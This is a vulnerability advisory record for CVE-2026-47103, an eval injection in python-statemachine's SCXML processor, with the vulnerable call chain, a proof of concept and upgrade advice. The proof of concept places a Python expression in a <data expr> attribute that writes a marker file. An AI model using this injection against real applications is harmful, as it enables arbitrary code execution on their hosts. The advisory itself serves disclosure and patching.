---
id: CVE-2026-47103
title: python-statemachine SCXML <data expr> Eval Injection
summary: python-statemachine SCXML <data expr> Eval Injection
severity: critical
cvss: 9.8
cwe:
  - CWE-95
vendor: python-statemachine
product: python-statemachine
affected:
  - 'python-statemachine >= 3.0.0, < 3.2.0'
patched:
  - python-statemachine 3.2.0
published: '2026-06-18'
updated: '2026-06-18'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-v4jc-pm6r-3vj8'
references:
  - url: >-
      https://github.com/fgmacedo/python-statemachine/security/advisories/GHSA-v4jc-pm6r-3vj8
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-47103'
  - url: 'https://github.com/fgmacedo/python-statemachine/releases/tag/v3.2.0'
  - url: >-
      https://www.vulncheck.com/advisories/python-statemachine-rce-via-scxml-eval-injection
  - url: 'https://github.com/advisories/GHSA-v4jc-pm6r-3vj8'
tags:
  - ghsa
  - pip
  - exploit-available
epss: 0.0137
epssPercentile: 0.70754
ingestedAt: '2026-06-19T03:39:00.826Z'
ecosystem: pip
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/SaiTeja-Erukude/CVE-2026-47103-python-statemachine-rce'
  checkedAt: '2026-09-26T09:05:24.961Z'
exploitAvailable: true
---

## Overview

### Summary

python-statemachine 3.1.2 evaluates `<data expr="...">` attributes in SCXML documents using Python's `eval()`. Any application that passes attacker-controlled SCXML content to `SCXMLProcessor` is vulnerable to arbitrary code execution in the context of the hosting process.

### Details

`SCXMLProcessor.parse_scxml_file()` processes SCXML documents and evaluates `<data>` element `expr` attributes via the following call chain:

```
SCXMLProcessor.parse_scxml_file()
SCXMLProcessor.process_definition()
create_datamodel_action_callable()
_create_dataitem_callable()
_eval()
eval()
```

`_eval()` calls Python's built-in `eval()` directly on the expression string without sandboxing or restriction.

### PoC

```
1. Install:
   pip install python-statemachine==3.1.2

2. Create an SCXML file containing:
   <data id="x" expr="__import__('pathlib').Path('marker.txt').write_text('pwned')"/>

3. Run:
   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)
   SCXMLProcessor.start()

4. During start(), <data expr> reaches _eval(), which calls eval().

5. Result:
   data_marker_before_start: False
   data_marker_after_start: True
   success: True
```

### Impact

This is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.

## Affected packages

- `python-statemachine >= 3.0.0, < 3.2.0`

## Remediation

Upgrade to a patched release:

- `python-statemachine 3.2.0`